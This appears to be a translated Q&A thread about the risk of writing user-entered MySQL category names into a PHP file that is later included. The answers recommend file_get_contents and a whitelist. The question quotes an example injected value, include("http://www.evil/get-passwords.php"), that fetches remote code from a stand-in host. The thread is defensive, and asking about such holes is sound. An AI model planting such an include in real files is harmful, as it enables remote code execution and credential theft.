PHP的。用户可以在文件中写入数据,然后包含该文件

时间:2014-11-06 10:06:50

标签: php mysql

用户在mysql中写入类别(nameurl)。

在每次写入/更改nameurl时,我计划在服务器上的txt或php文件中编写。瞄准每个页面重新加载而不是连接到mysql,只是包含txt或php文件。

现在我想象一下情况。例如,作为类别的name的用户写了一些东西include("http://www.evil/get-passwords.php");所以在txt或php文件中我可能有这样的代码,当在php中包含代码时会执行吗?

如何预防这种情况?仅允许某些字符用于类别名称?

2 个答案:

答案 0 :(得分:3)

我建议不要使用include这样的情况。您可以查看http://php.net/manual/en/function.file-get-contents.php

使用file_get_contents可以避免脚本注入,因为它将文件读作纯字符串。

答案 1 :(得分:1)

您打算让用户写入.php文件吗?这不是一个好主意 如果你确实需要这个,那就让他们用简单的.txt文件写一下(并仔细检查apache是​​不会将txt解析为php)。

对于清理,常见的应用是编写一个允许列表(白名单):

   $allowedName = array(
      'name1',
      'name2',
      'name3'
      // ...
   );

然后,当用户输入时,您可以检查它:

   if (!in_array($_POST['userName'], $allowedName))
     die('Not Allowed');